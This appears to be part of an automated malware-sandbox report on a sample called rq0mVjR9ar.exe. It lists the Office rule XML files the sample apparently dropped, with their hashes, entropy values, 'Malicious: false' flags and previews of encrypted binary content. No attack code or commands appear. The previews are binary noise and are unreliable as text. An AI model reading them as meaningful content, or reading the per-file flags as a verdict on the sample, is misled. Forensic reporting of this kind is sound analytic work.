Preview:	<?xml.u..K...w.O...\.v.....<...a.T......G...8'u..x....yD.<.W..A.FZ#.-..b.y%..8 ...e.0...L.D....]._\..^..I.........wn..D..!..U.u.r..W8.k...E..D..:.-.b..Cl..i./C..N7l.PB.S'"...<..wr.4...-..8.17...2.T.2..S...]y.:..3.. .._-T<.u.....9..\...63..(a.3~...{..HsE.:.'s...ti}..@.m......{....4..Je.-.8.:...y1.R.H..{s....Tl..g1..@.....Z..C...tsJ.V.xl....9..s.i.K`r......O;....:....U.&Ftf....n......h]B.......,.....=1....B#<.C..[............f...."...F.0gq.J..,.....C^.S.:%.`..J....i....w...@.4..W.......&O.]_.c..........g.r....@....-.._..Ip...KN....&........H:V"Ur.t.@..u.E@....,...u....V..T..l_>;y.y....L!m..'....^.].~K..].z.Tj..T..K..,.3.....5.....3bRI.............I,.,LS......[@..r..._.Z.uI...).t...S.eR.p\A..P3.2W~....B.^......\.ZF.h+...-....&..e.b..TmJ{ D.z..9..L..S.jE.ZK[...H.cs.R\|H......:.ls..EZ......._.v...E.....ff.E.2C.......j...;s.F.3.q..#.*[.....]C..O@(....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.95642632951372
Encrypted:	false
SSDEEP:	96:zkICMXnl0Kkaiisv1HERoepnDm4BEXq502hCxXGQjPfZAC4Lelr/kw:gbMXnl0KSHERo3OCsQjPfJ4Ctsw
MD5:	26C5077D21BAE81861C99419842B65A3
SHA1:	77F3004637A69B74DC02ED96999C7C30C8849BD1
SHA-256:	67840835E656E28BDFFDBCA674854A9922E21282C24B6B954E1CF35FEA2E0DA8
SHA-512:	2EBE0C46A6B13D7148402C8AD06C2B3E735451C1C74495C55D5F83A4237AFC9F416F7F80C67EF7A79313E593ABA3934462EC76453145A7C9B1FE161164445672
Malicious:	false
Preview:	<?xml.:M/..jQ...x...].#4...Kv3.4.-`...Ci..."I5...)~."..Rn.~I...`ee..i.s..D'....\..Sw!..{:...V.6....J.g.#.N.=..Rx..8E...f...R.t..p..........H<...P.........KB.e....v5.P..sq..]$..M.p.......[.E...f?..y.yw....x.X....tj.w.a..IQ.R.f..k.+......\U..V.......dx..M..h......R.Q#.yM..KJzI..J+.;?..}.Fg.W...n.S.xTH=u..a..^.......M.]..t#U.....j.@.......m......n.=(.....i..p]..,....i...,.lN..,.<.C.....z6........G..'rE.&...n.6F.lF..T.I9.....y.f..+... .7d7./.....LG{.A.....b..d...B....V....EP..iA.xS}J6..P..=..".L\.Z.+...GN..N.....2.-.r7E..n}.....%s..p..L.V....w.g}.}.S.K.O.bAX.-.m."...~...+:.qbQ..@a......s.......C3V4..._.4*...9..-T....z./K.vOT.z...P.#.]7TV..C..x.!..m.m......k.......n,.x..\9.\....b...&.w. .&E..$..@(F..\.p`.]q....pN..............5...G.e.@U.{\7..2..:......8=.l...6..Z...rl..XD.....Z.@.h.UH.9....M.eqh..@.p.G5'8.(q..^...DA.X8a.0..x#..p...9....Z.c.[.C"....../.vDx.W...TyYw.}...\[..k\.o..a.V..N^.!?..7...........q..X.U.=...P..c......G.~.......S`...>E3......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.934496472823076
Encrypted:	false
SSDEEP:	48:Vndokjv69U6bq0UX0kOVtVJMfCEl37zjw/ROHDUlwXwu4pbzGqFv2D3BKlEpiD:VndVjS9U6qgjKB37PwpOHDuKwu4hzfy+
MD5:	61B92BB7FE87B949B47301FC80258551
SHA1:	99B5A08EDAB146E52A6928F80D4461A32BD2AFD0
SHA-256:	5805086778F65D3E1850A8D7AD7236F9E82D34BA10749298A68DA67D580CBFF6
SHA-512:	C7A366AC264620F424DF1A47477966B7CDE39068B027DB7184FB66EBE9A30DB8A58066728532CAB79FEAAE58277ACA2409E9648208B040836EA674C61176E39E
Malicious:	false
Preview:	<?xml...\|2..?R..z.4.....j.....O.....`..;b8..K..h.Ot....pfw..E......MJ.G1..RP"..2Iu1G=i....!/t....tu.S...y..Z..42.x-N.+../.@Um..#N5..2..`.6h.aZ.....a..,.&[...................s.h.`...B.-..........'pI..u..`Vr.}J2....}.u.t....._.ONk'...........N.!.T...tj..;.P_s....0..s[...Ifk..$"w$...o...x.7R.]......3....Va..#...k@.Xk..!im.8.\.7.Y+E?'..}w.\..[.M.c..M.H.._V......._..dn........tkEe....~..W..`..&.....z.."S..+I...7e...q...x.....O..."h...b+v=...X.e..k...v.J.H.E.L...P...nFm....F..;J a.:..auhk3...J....sH....(.5<...D........5.unV.B...$...:..zP-...ng.v+U[.Ty.."`N.B.V.e..Jp..5..\|I..'..._o.zv.3....Fi\.M.R...K....../.w....+.zj....3.H.?..)....x.9.6.+...G..o.=w....C.I....(...i}m.....H..&..C?1..O\.s....%/.['.2..i....A.E...q..1..w.ybGN...m..I[...`......u.....O..\|b/....%.IKFx.y..Z..3...Lj.x.g.;.9^.G.J...BJ.lTM.....6.R.6.Y{.:..M..G.....OC......U._....ZU. ..`.LI..y1Q.2..0.\.V...l...z.].2......>.^...S..._QLn.J..E.v.L.S..>...S..w.^&.}.....}.[TMk.B.;F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.938221106787976
Encrypted:	false
SSDEEP:	48:3vsYaBuBOWxpesecg5+Hw6lVNpOpXc87UtzbnyGRZ8NRjJfQgrjd9AbkC1TRp/dq:4oDpxeca+QAKp3gBbnYNRjhQgvd9Aop
MD5:	14D1BB2FCFCAE0A97F83506157D4A36B
SHA1:	26109AD99A7D2DD91CEDDD559470AD675F2C9E44
SHA-256:	90C8A64EB0945116CBA03E766E146255429E7944AFC3244DB36DD4EA634E7266
SHA-512:	CCF1ACC97E76B427B5D73B3F7A157A19C610268FA01F653F442E5CB2F65D7A947ADCA39CE461FE14E4E3C7AEEF738BD41BE40CFD3B55E22F300074E4B68660E7
Malicious:	false
Preview:	<?xml..).\|..+W... ..o......p...,.Y.9......./......<..?.~..0.._.Iz..Em..\|.Qs3.\|..<^.u.3...>....>j.OUj.p......g.E.gtz3.Lw......4..../Z..D.x..b..Z.S........\|m../q...%..y.G.K$+.>..#Q....z.....?z......C.[...ra.F.<...\Y.k+..v.K...-K.f)N.QH..c~...!.!q.I...m..#C...}...1!......r@..l.......$.C..K..G.....N..S...{.JS).!UTrA.F.@".#.s..\.....e^..V.\|\|._.v#.Z.\|.^....g.i.p..E.5.k{....W.P....>..]'p.GVu..D.U..(\|....X2.D.5g).a.x.q..V'.qK.....t{...T;V.?F.........GP. .}...$UAr:.......i.!............l..N..x ..+u.4H.H.".FP{.^...B...b...N]p]'..>D...J..&.[2&4.........].u.Wk.O.Z..}...#...G..G.8.W.`..$.!.H...<..&.r.......N...,....6.<I...-i..\..TV7.....1...k..`>.].sY...Yf......5_...O..I..^..Bn....N3...^.n.\|/..V............%..8h`..B.q.>L8.e.r...T....@.{.....[s;.:.Z.N.3........N.r....~.....A..$CLlK0}k.....N..n../.....&.;,.Z..s..p........%LI.5W.`<...9WP}....u....T@..d...3.6g.=?...f4.E/L..../.2.m.O.Y..b....[.K.{q&n.....f..;..ss=..h....`EZ.../.......P....0e.!........T....X...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.836744224358572
Encrypted:	false
SSDEEP:	24:D6xF5clYuWALxuXfxOwKmnV0crcRa33mLSQMQ+NiOUQ1bPw5jFnL/v+PiTkbD:DEglCfsw10DEmOQ4iOUak7LziD
MD5:	2A1191409010B1E03380FAE7635C7F59
SHA1:	0D18844A1C9EF79E0F775CFFE49EDE961E2DE17D
SHA-256:	782EF5647456D8BCC98C4FB183FC5C283D460FEF4E3073445957215B00E5AD1B
SHA-512:	4E2ABCA858BAD1BA8E33B389326C7AA86AF194E0638A8CE01C92DC4B219B8C8A258BD6C50FF0DB49870EE92DE5881A55C08FA42CCCB71A493646B57CB14E5ED4
Malicious:	false
Preview:	<?xml..'BQ....-86FX.Mp.\J.k,.8.tE-....>D..............;....&93.8......W..[...!.gF.J.<......#v.t..G...C..Kr....>s..Q._`.t.......k7.]..?.....b..oI.....V.w.n.q.N..J...{(O....A.4Rt%..t......nr.;.$.f....n..x...t@...P..@J...O......P6G3..1.z.< RGq..)..MiA..m.&..H.......9.<pIj"s..N...'.bl!a...&y.&.].J...y).u.5.KS..T.Dx.....Y.D.....@..F.c.:Q.+.e..p...1.yz.^.R.......q-.....Z..............3.M.7g.K...f.Xp.....H)..q ..rU..xjU;..&.H?...m..Q.....uezt@...-..IwR......u`..TA..r#...\.X.6....N.m..-ji...c....B>@f...J.+..8..8.Z.f...Y.]...",3....o.f......c.....u......,.:.&D..kr..0Ho.0.....`.gI.cMh.A>F..E%..$L....-....?...M.........h.....B...5B....?......6..F....J{.E"...%/.....0lF.O.?.p@YD...&.Q........!.%..<G&..z^..CyT...L...........I.A..0k.&L..b.!.2r:..^H<:.)q*....1/...t$...mk..-u..!...Mp.\|.l1"..8....n%....fkHs.e.G.,W...$`..p........]A..'..i}.LW.Gu......;/$..`...<t..k..C...NL..]H....0\|....7..MN....bC.c.UER.B'.].X...".....c"...O..L.:YM.,....r..~K%.5...E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.931441349917629
Encrypted:	false
SSDEEP:	48:rGzK2Q8H5VveCV9fAT9c4Aitj4e6sDbSjOHGfC7EttPsNM1iD:qNVveCVmxcmtjyEuOHCC7EjPsNMk
MD5:	A2A96B65B5A643EC660B4B0831864AAC
SHA1:	357B602275FDB8D43E38A486F20D8BB510DDA907
SHA-256:	2F3B293884C46C3756FBF42C062A24228E32DEE9F8B4EB477454D80F28868328
SHA-512:	8B0F556C5C9672FFC059132C41492BC4822FB3024C571DBAD947CB6F23F9106335BEBB6825D27E39C3231ECED6348881B1D803F884F7A201512869BF96E860E7
Malicious:	false
Preview:	<?xml.q..]......(..g[\..}E...\.`YvM.[f`R.)R..6..c..~j:.%.:T..../..+R1....bgOX,.. t.x..v'w2.^.u.;.'..P.D...z.zd...zU..OA..ZdeG.P..-j.a.@....R.TL......Y{{5...U...@..2.......cM....t...c@..v\.=.p0.Q..e.7.9..LF....S...X.....w.....\/....5>.E.....x...r{.,.}....R\|... ..~.k...".7....u..VN0..........T..K....+.$\|~....A....or~...t...RBQ@.RUI....KA..g7;.T.._.,.s...B.;.N.K.z5.cX.....b....!.P....[M...v..xU......C.[4....T..b...;2...l...+.....kP.&{........._V.Tf.<1cx..y...3..S(.X...U....$.t.,..b:.t.N@...5.......Y..TT3)6......H#....k)..H..Aq..Nz..AY;.......&.....`.:Ph6.3_....)..J....=.4Z...s.t`.?!...]X6z.=..W..{<m.....gI.fm..?..........P!u.I...;..n.@.@.6.....(...\fi..[yn..^~..O..I.D...~..../ {n.:U..v..... ..a.&.o.B..Di....%.N&..._...P.E....v..H%S...;..V....#..&.......w..f..L.....".5...'...A.r.X;.Z97{.6?....?.A.2........e.x.q...?.T2J./9..............."...*....<H.g.1....y..=.......V"..34f.._2#.X$l...V...O....G.0:s.......4.n.....?....\|Pc...T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.892743374803194
Encrypted:	false
SSDEEP:	48:ATpQJc2HC7Qhszb3kJvD3nWQNdGtlLzU77D49tiD:ATpac2aUJvzHNWnU77iM
MD5:	B4FCBBB2A53B551079BE3D865EF156E2
SHA1:	FEB609DB694654443641F06F185EFC9CAE89DA14
SHA-256:	5CA38C76C49AB3CAFBFCFDB34941473B13C6869503698880FD5FDFB5BA2BD8BA
SHA-512:	96E7164A7028132A31338AA65A3DE63F91038CABB33E176822B94425EC6CCF392BF6D5142C2C361ABFA63FC56A4FD9D9E3E71B8C008380CFFD81586D66979AB2
Malicious:	false
Preview:	<?xmlL..{^..Z..3a....>..A..}oF[F.!.'...."aB.b..E A...S...<.......t..S.A.].i.....0......aB..U..#..C....;Q.].@.H.XX.]........B.M./(e....6u.......C.R..^...0........"R...f....#.>\..:....kV..g..Ri...u..A...+..x7.0.....>.......H.Q.V4...4H.`.=n'.~...8..)..9A/k..Lw..U......$..o......p3..z.e.....2....^.4....z...E..#mD.p...&.t".B...j..L".o......Y.SQ.....L.S.l.H.$?.3F..W.i..'..PO..c+...lR.@s.....lp.....j.$m..x>9BM...{...x..y.[.....$..EV.5.=.l[....-.U.]....anv4.&.....(b.`].s.sdH..1"c....:{.I.f>.r.+......a@.../.$^1.....-..7..fw#..#\i..Xq.k....M.m.=&..6pr.......f.1...Uh.`...b..P8.Q1...". ..NN..o. .U?...]..j(..1.Rpj.x/.)w6lQu[...g`.L....D...d..........H...m.?.A......1.. ...,.X......P.....".............3.'.....w...kB..:mf./.5r.(..6......{...x._......9g..3.j.. w*hwA.~..(W.-....T.T.)D.C..tO.;..B.9.b.lH../G.c.......'..E....3..Q.H.#K`..y.c..R.....s....Z./)O.V..l..3...o.Y!..T.[.N,.....;P#.......8._.{.UKcj..#.3..H.z.2S...V....C[.'.l..V...R..F...r8.l....C..E#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.883529994354535
Encrypted:	false
SSDEEP:	48:AqwPiPjBmmJhtokJcg0flqBELqMNz2pEiD:9wGNm4h+kL0flqBuqMNz2pD
MD5:	24BB346F6FE6AB8391C3DAF7C465D588
SHA1:	C930009778EB6D024F6B839478E16BAB59718B3C
SHA-256:	95A309069D885A5EAB879BA2E42E8B56C46A7DC1DC335AD8CF7FD62FA7C6CEFD
SHA-512:	B66F114972D33EE341BAA2CDB821772733358A416AA0AEB09F8415EDA336514803B0F2DE466DCA29E4CC2E02EAE54E025C1D6668B9C7D1855C255A6DBFA7A06F
Malicious:	false
Preview:	<?xml}.j.D..~=..f.ua..1....l^#..b.Q ..SH.N.l.h...0.Sw.I...i....Q....H.C...JS2..s.F.J..i...a....<!....dYX._...Z4.S._.......m..W...*t..{....[p......ziD....AF.......n...AH.0....D.6.'Y.l.....`k....X.......3..S.ow..A.....,.<...i.....&...Ui.(..\..m./..,..;.xF.VLH...?..X&[.f../Xo.(.....J......Dw..hP.~.M6.T......h.DF.....D..k...,.I.#...+.Y.Z.g........}......._,.U..>.......,jv..<8c.....cTL....#.f.Q......F\.jhf...5:....^..Z.T....t... W.I...c.....Y..T..0..l\s_./.;Ot....b.QR.V....%x....}....C......A..Oy.T9..(#...Y.yk......$.h.}.....cU..V.;...ksv..pc....K........\|@a]...>....u o..BLH........LV. {.........c~..}[a.O.&..^E.Y.+..-"{fS>..G.it..1...J.XF.\|.p..`om.._!...g@.....s.'.Q(8.8($.!.....UH!..7W..h....g.B..~.cd...{B...M....}...E_.@....I..%<.7.B....5.....3..@n..=.o.].P......../.a.?...C.u...G.E..]...".......+.......H...:.Ib.._.....\...?.}.:8n&$&i.\LNR....{.#G.......\|..+..Q..,O....ae.#l...!U.l.,.`..'PU.6c....Mj.XS.......!;..H-.A8.E.....b.[.ne..Qv.}~+b.np.g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.92971245192811
Encrypted:	false
SSDEEP:	48:ThpMOZMY044YLqfkD3MeXPBi8AQIe/w6ssDWXavzUha2i1A0OSHJAYA9quGiD:ThiOZA4B8kD3MeWl6ssD5wha2i1ArlYq
MD5:	A350E8218EE778A9C0B88D9E8D3C79DE
SHA1:	259175BA8868B85A855E2EF1440B223F048388A8
SHA-256:	1B3333795C6D895910B5E55DC33DA24DAD205F8BD00D58FB5D5E554F4BCD9F0B
SHA-512:	707B8FAAEEDE8096B85B0A7225E7E569C309FA28B9BE47A35B336BA94493F85B8CF29280F6AFB9BF5E87B3A3B0FA06E537ADEA41D09C13F4031A504FAA0ADCEE
Malicious:	false
Preview:	<?xml../...o. X.g.sy.....yR..W?..u@..i4Q.p....;...$...~q3...)M.......^..........WY.iQ....I.e.x.3.x.$....d.?....c.ot.J...Z.s...QIb.-.../n....5 4.....B....8p....fP........y..\|q3T...L[\|^.R....].!.D/N..m.rp........w.....b....h.U.........?......7?i. k..-..)...7....{#a.Xu..m..l_..\Ek6..._8D..+t..a./.M.'a.(...,.Qd..o6.A.K.;.s...cz..)..m..\|&......g.n......Y...>.j.N..=.cf.).j... .-.....;C..<..icCK.cm......5ePW...2..c...U.6..yxe.R..~....8............R+.....9oNKn.M$..U.xKn..]r..d...l..C\W...$V..o.6...\d.h.9 .....o....D......L.......,B.......mCu..-,.L....,.r)..078&W..j...Q..P....l8.G.FH.....6-..q.............F...C ..#.h...cZ.>wFR..P...(.x.2..8../.I....B...cT^.}..0{.@_.....HC.B.-R..$H.x8./....csS...W......<.r3..a...EY..<96......\|*.. n..:....0..VA..Kd5.^=%..b,A.c....B..fP.q....u..{..7..!n.hG........qX.....N.b..h.%.7..U........#.2..,%..U5..$3..W.,....bf.v..-;.a....I..6O...?]D.d..2...S...1....)....F....RY!.W...[e........S.x=..p..Kw.H..)...w.&.Y?..._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.952791198014146
Encrypted:	false
SSDEEP:	96:7nE06vztSc5iJpY9Kk/G/ZzxHVtopmTLDgEsnf9XcGf:wnxniJLDFxHVCsER9XBf
MD5:	AC9EFB9CFEC0049A0DB380E7E8B9C22A
SHA1:	D6F8063AB6D8A9E678A9629B5920F7F952F7C3E6
SHA-256:	2BC75D22060789856500506840F2B30EFA802769DA89D450A8AA2C4197C37535
SHA-512:	3FB51A8F8E5F3593D43D2C4684C5C9E29F14C1E4DAC339043668A5F5D2504962F7EE3BFC3757C5A23BC45533AD18C0025A8C365C7BF8EFD153DAC6E54694F9D5
Malicious:	false
Preview:	<?xmlj.G....T..\...7=...y..S._D03.z..1....m2Xhm.C..}<..,T......c....cW...A.$q..P.K.=....%..2..Z....5>W.I.Ck;...s.x ..7...K..7.k.8.#+..M+..Z.b..5..Pm.]tn..[..\.\9...pQ).h..g.~.n.b.H..6\|.A.c.k.. ....C]..%.K...!..pq...TXB...R..E0...~..^+'..C.. " GE.P=./A..)n..a..........D..R..DS..!.L......=.k..<.....\...=....}.@.J.U..v7n..A......G.1.P.P.........SS.j...b.?.-Y...Q~.r....mVe......V.............=f.'...{Y$.Q.$.a...F.....'.h..>..........3........6.a.2.b......\...?....<z..p.`.\3.4(#.bx+.7...(....Q.\.........SB`i..{...8d....r.2\4Fs...}#.....;....1W+.....<......2....`;..\."..,......`6.cY...F.........a....D.o.{....O...1.g..vF...../.?.om&.~iV...MK.L...'.3Y.9..e~+.t..+....?.x...sR.1.>b.m.....U.HE..h I_.... ..D.......'...$...:~&DF.r......o.M6_(...L..P.N.$.%M=<3....V...&....C.l.u...[..Q$..)C.h...o..^........u.<L.....U?V..kjp..J\|!....>..L+.K.A}SE...-..h[..:...3I.]..g.G.W.c......;rv....X.a%R.i.....p.HM..D%d...J(n..Nl.g....`}s.3..7X..s.Z...~..T.-w..\|6..R"jao^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.972958335959775
Encrypted:	false
SSDEEP:	192:BmSRzNsv5JMB3/s/JWTIWokPh4eABbgWiR+Oi9A5m:QazWoBPoJWTxvp40R+Oi9A5m
MD5:	4EF75D1B8DA21C17163C22859CCCD0F4
SHA1:	D096F5FDB7F716AC35568EEA5D7C275AE92506E1
SHA-256:	6C7DD4A76304772C42A61A688B57E0EE3600B2631E2D9D318DC99305B92174D1
SHA-512:	122EE56885C307839CDCAA037990D02134CAD2322D5516D3D60B1A4D72BFFB2A75730135AEBCDAA8C1B48046F9F480675D8E2E70D449251B373ACF36EDFA29BC
Malicious:	false
Preview:	<?xmle.~.,...f...ru._.\|.Ha..C.....tK=..Z ......"ci%b.-5cZ..$..7...V.......BG4..;K..74.3O.......-.'.N....1....D.L.)..X../...-...Y.?....$.b...\|..]..#....3.....M.......6.Z........UN.`@g....H.i........G~....V.WoM......ePKf21....~....bX..2.....D....N.`...;$?...}acR...He".0......Q.`.....s..)?.G...L+.z6N.9X5..'.Q.(ddD..Cd7.9.>.YG. .....+.R.-..?:.+.?.........\|../....,..j<....._].UMs,.x...1.i.....,D....t.B.k....`...,y.._..v;..s).K(..Mm.p...q.F.Hr.`'....2O.5Uv]3....\|....H,..?....0...zgk...b....$....x..5i5..wt......j....TW.....k.>...e`B/....[....Y..q.gP?2$!...9..~..M..C.).5.Nhu.T.).xd5G. .^.3.ED..Z..hj_.....7.....?V.......,3k....Z.\|3.G.G.w....E....^...7\.(v...\|.Dz....... Bp..b.2..2.,Ce.{.VIH.wc..7.<..-.h......=.3>8.P....h...^,.e.....V8c.NK.,Y../.R.U....L.{.B..i3..Af<.B.^F&\|d.?............\|0..=?.dD....jC..jv.....C.,......i4..e.h2.....".$....n.........../i..M.[.......".Z.P.t..+D....wp...6m..X..#.. b...m$%n.@r...\%E..^b,...n.6.....u..i2.).;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.935088863499774
Encrypted:	false
SSDEEP:	96:TA6J1w3vMJiMO8UV3GVZoFCxKP1TXcZijg8VH:WvgmMPkP1zcggSH
MD5:	2AEFD109FD60BCA95E2B37C892E0BCB9
SHA1:	37E95E4B5A67DCF085D38B2A412326220643C933
SHA-256:	D7D2244797DD0CD7B002452452774211A0B0182039EAC2424A539A93F81B393E
SHA-512:	7AED48A058C5E873A15F099487BC55E171CEA177E727BCB8D50C7317588BBD419A3F0474C94922AB598C0152730EFA43714AFDED6B45C3C8F3901A6D134CCBC2
Malicious:	false
Preview:	<?xml..-~..A.@...8....@N5.FN...)\|P}.R.i.C..\|...^t...tcs$...-.0.8.?T.....7.=^.....8N.Q..a...W...IJ...i..6..^/_..Y../.~...........[.`(,.....5..Mjc....../..NN.P^..{.Q..2....K.,..D}.\... ..r..<.J.I.....t#.s.n.?3p...8}.W.Z.&l\"T....p<....h..K......5..JU.G....w......3=J....u..s..0.U...h..)...i;0{g.+..Y..'S.._{)...l..e7.u....3..~.p=...P...\|..Y...oI.......JL....)...%.Vz.....x.,.Z....,.......X........IF.m...J..ax........8..OO..-.t.pAv...].y..H.../.?...T....3.......#,....<.F..h.0.CC....oe>....@.HG..h.Ns.J>...{P..D=.Qw.kd..8S...G.v\|......nF.d...C.V.?...'8m^p.\........+[ ...5?E_zt:..ET.#.,.8......T........aX1m.Y.{.W..0dK.....zN.w<..b$.Z.+<..C..hj..q.\...d0=..._f.X....En..\.V.................V.8..9...T..V...%c..~..8........*q3.t...VTW...o..8w..i..5.h..(.X...8..{..9.K5.u.....-.V........Jr..{...&..C.M9.......q..W..n.......P..g5....{.NzT.<..Hx......r..}...f%C..gp%.....v4...j7_..,.&..r.....EB.qg.P...c.L....f/^..{......P(..HxIv...U......1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.954088109427295
Encrypted:	false
SSDEEP:	96:rZ9QDc6Kew7s8s32A349mYwwCbXP7xWzzg:lAc65wg3T49fsP8o
MD5:	E80F539192D0F16EA83A3F0BBF09BFF9
SHA1:	E66B44D8B3426B44CFD84C24DB5E03444EE143AE
SHA-256:	CBC3AD95DCA1F56F19DC2E9D9C98ACF5B798C680F20F15019B3A0C38E347CCFC
SHA-512:	413AF7868C39FAC90A0CF26ADD9292577410D70F3A33A86612EC7D704C18FE8348E344BF0B868571963DB704722A5843D035C5FC3D4427DDF0A6D3D14A591812
Malicious:	false
Preview:	<?xml8.a_...T...l(3....H?...Om..T.."...ZOc..s.....fYU...b.fG.-.....be,`...~..~...s..{...b.Dy...t}......7Q..$.g{kudW..0.g..l...M,V.....E.g..B.@..../+.2e.......5dwQJmnb.....(....G9.rl.......j....r..)T.....6......8;UA..4.n.D.g..oCz...~....ICo.s.f..`'.....W....Z..q.r'9.r...nm..........Y..y.F...........P.....].<@.d.k..X.=.R..i^.+f........M]..2...=.8....it..Z....G+v..P~.iX........+.....E\|..r.......9.B{x.y../....o....'...L"..K`.-.i.8.....h..........X.G....\.{.....%.......>.zI..G....<..s.....-e...eF. ..<...#^...W{.=..U..9k...;%A.,1.A...l#.3a...[.y.....".g.{..1....~.....^o..{.?.55.J.-Si...N..q:.~@...:tz.S....,.NF...kgU...\[5...:nn..r...c...)b...}.^g.r/...O.N....q.g.C..ksz..8..l.i{o?r>OZH\......G ...aT...R'N....!M.pE....{e.q...O..\|R.v..xF.U.]...._....\|..@.....].......b........5.+......UI.....*r$....<.W.]...+,.)...BW.A...y<'f.a).f....A.:.0...0.L.r..y.cu~,%{G@......4.z..s.Q....>HAE........[OyN...c.....O..5...4@Vm)...)...7.... .. ..d.0.#...xM......;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.935408001688185
Encrypted:	false
SSDEEP:	48:nOTYvwNIVJG5pRrJc00DDmrm0LGXt7k5is65yQudax+5oRcvEMRsHKiD:nOTOwNIVoy2rm+GXt7kj6MI18RsN
MD5:	2EC04F6EF3AD4F2FC3660CD3BCDBE3DA
SHA1:	13D327207AE42C0F0F1D98057EC6A8135B8DFCBB
SHA-256:	49A76EEDD97FB224F838D6236992A768A9B8AE038B6F9FD279134E1251B01E62
SHA-512:	86B78D105214E4BB81A82FFB9C1C05795C4773091B1E096AFCDB6A209AD3469F83491C6FCCF42C171E4E16DE7431DE319E4FDED1074EE5F3B43FE69FE9DEEFC8
Malicious:	false
Preview:	<?xml.X)....d...N........a.v.......G.{%oY.@."..N..mT.3.V...u....#>...?..<..m{...\.`...MD.....4C..vs......'t...L...$h..-....z.Q.Af1p...7.!X...Pp.Uj[..2....%%oP...Ua.3.V.+.p=.....F..Y.8.>..g\R.B.LBd..=.I.._..]...{m.^.....!..{..).f.h..K.p...m..MC.9[g."......tpn...[..++/.V..5.E...?............j.....K.....\|.."#9...K'g.C.....N@.B.....!..}^.y:...n....rGK...V!.....g...0_....`U._.Zp%]8......N.`V...$.l.> ..A........b...P.N..w....G..2.1..V.WBO..,.>t...{"A!.0.{iu...'....d....w^..._\|`4n.4..s.gl...&o8.oi~.8.;Vu...V.w]>y.4.g...E.86....YK..l.H..K<.~.U...N3.8'\.:.S......+..j.'..b3J+e.b.T.Q.........R8..V.0u_...E{_@.i....K...!".2.]..Qn.._.'.G./...+...'.UU4y..;v...F).d.O..8. s...O/.A..#6dU...3....,....*..)...}n/..i.bx`......6.;(#\|..i..3s'.R.".......1..WR/..O.O..@........cr...jp...m.T.....V/..3..a}.]#nEx)..7.`iNa....C.e....<H8.o..O.`......r?.....y.dM.8d-}=..0..l.......)...n.Q`Qu.....e........j.p.9...(..,l.....L.@.s..G.I.u..i.....?.....;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.916815691853688
Encrypted:	false
SSDEEP:	48:TATVSFFpMHir/D9d9Kk34rJ61v0p1/R7XBBXXQ9hXwOWiD:BFpL/EqZepNRHA9hAOJ
MD5:	7750B16F4EC22C02E2008FE887D5AAF1
SHA1:	B8B73F285ACED617D2D6D70B71074E3D9EB55E2E
SHA-256:	25FDC224E8694A5A8191B8E4DFC593F67DC4AB4610264C3AEC18B81F1F64BAA6
SHA-512:	FCF6FD82F3D02765929C304BED38D7971F4B9642E22C36A6D6E94225E471F7B6C08CCB0E560C1D5DF496D7D46E2C6253C8A066B7A276091777CFA60B1C375E99
Malicious:	false
